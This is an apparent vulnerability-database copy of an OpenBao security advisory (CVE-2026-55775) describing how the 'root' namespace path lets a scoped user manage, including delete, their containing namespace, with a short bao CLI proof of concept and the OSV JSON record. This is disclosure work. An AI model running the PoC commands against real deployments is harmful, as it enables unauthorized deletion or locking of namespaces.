GHSA-MWR2-WMGP-CRJ6
Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42Summary
A user that is granted namespace management (/sys/namespaces) capabilities within a non-root namespace ("the victim namespace") can abuse special handling of the literal path "root" in namespace path canonicalization to manage the victim namespace itself.
Details
Several endpoints under /sys/namespaces/* accept a namespace path segment that is canonicalized and then appended to the path of the sys mount's containing namespace (set via path prefix or X-Vault-Namespace header) to determine the absolute path of the namespace to operate on.
Given the special namespace path "root" canonicalizes to en empty path (""), when passed as /sys/namespaces/root, the resulting absolute namespace path remains equal to the sys mount's containing namespace. Given ACLs are evaluated before namespace path canonicalization, this allows users with capabilities on /sys/namespaces/root within any given namespace to operate on the namespace itself instead.
Impact
Users that were granted the required capabilities can abuse this vulnerability to:
- Look up
- Delete
- Lock
- Patch custom metadata
against the namespace containing the system backend they can manage sys/namespaces/root in. The exact range of operations that can be performed depends on the specific capabilities granted on said path and any sub-paths such as /api-lock.
Notably, the root namespace is immutable and cannot be modified, deleted or locked, and is thus unaffected. Also note that users can only abuse this vulnerability to operate on the direct parent or "containing" namespace relative to their capabilities, not arbitrary namespaces.
Patch
This will be fixed in OpenBao v2.5.5.
PoC
Start a development server:
bao server -dev
Create a namespace:
bao namespace create victim
This will be the namespace we gain unauthorized management of.
Create a policy that allows management of namespaces, inside of the victim namespace.
bao policy write -namespace=victim namespace-management - <<EOF
path "sys/namespaces/*" {
capabilities = ["read", "update", "patch", "delete"]
}
EOF
Then create a token with above policy attached:
export BAO_TOKEN=$(bao token create -namespace=victim -policy=namespace-management -field=token)
Operate on the victim's namespace using the token, for example by outright deleting it:
bao namespace delete -namespace=victim root
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/openbao/openbao"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260617103935-d3c1cc64b1ae"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/openbao/openbao"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.0"
},
{
"last_affected": "2.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55775"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:42:06Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nA user that is granted namespace management (`/sys/namespaces`) capabilities within a non-root namespace (\"the victim namespace\") can abuse special handling of the literal path `\"root\"` in namespace path canonicalization to manage the victim namespace itself. \n\n### Details\n\nSeveral endpoints under `/sys/namespaces/*` accept a namespace path segment that is canonicalized and then appended to the path of the sys mount\u0027s containing namespace (set via path prefix or `X-Vault-Namespace` header) to determine the absolute path of the namespace to operate on.\n\nGiven the special namespace path `\"root\"` canonicalizes to en empty path (`\"\"`), when passed as `/sys/namespaces/root`, the resulting absolute namespace path remains equal to the sys mount\u0027s containing namespace. Given ACLs are evaluated before namespace path canonicalization, this allows users with capabilities on `/sys/namespaces/root` within any given namespace to operate on the namespace itself instead.\n\n### Impact\n\nUsers that were granted the required capabilities can abuse this vulnerability to:\n\n- Look up\n- Delete\n- Lock\n- Patch custom metadata\n\nagainst the namespace containing the system backend they can manage `sys/namespaces/root` in. The exact range of operations that can be performed depends on the specific capabilities granted on said path and any sub-paths such as `/api-lock`.\n\nNotably, the root namespace is immutable and cannot be modified, deleted or locked, and is thus unaffected. Also note that users can only abuse this vulnerability to operate on the direct parent or \"containing\" namespace relative to their capabilities, not arbitrary namespaces.\n\n### Patch\n\nThis will be fixed in OpenBao v2.5.5.\n\n### PoC\n\nStart a development server:\n\n```sh\nbao server -dev\n```\n\nCreate a namespace:\n\n```sh\nbao namespace create victim\n```\n\nThis will be the namespace we gain unauthorized management of.\n\nCreate a policy that allows management of namespaces, _inside_ of the victim\nnamespace.\n\n```sh\nbao policy write -namespace=victim namespace-management - \u003c\u003cEOF\npath \"sys/namespaces/*\" {\n\tcapabilities = [\"read\", \"update\", \"patch\", \"delete\"]\n}\nEOF\n```\n\nThen create a token with above policy attached:\n\n```sh\nexport BAO_TOKEN=$(bao token create -namespace=victim -policy=namespace-management -field=token)\n```\n\nOperate on the victim\u0027s namespace using the token, for example by outright deleting it:\n\n```sh\nbao namespace delete -namespace=victim root\n```",
"id": "GHSA-mwr2-wmgp-crj6",
"modified": "2026-06-19T21:42:06Z",
"published": "2026-06-19T21:42:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/security/advisories/GHSA-mwr2-wmgp-crj6"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/commit/d3c1cc64b1ae7f9868b5c3e80b8b11671f0d97ae"
},
{
"type": "PACKAGE",
"url": "https://github.com/openbao/openbao"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/releases/tag/v2.5.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenBao\u0027s System Backend allows Unauthorized Management of the containing Namespace"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.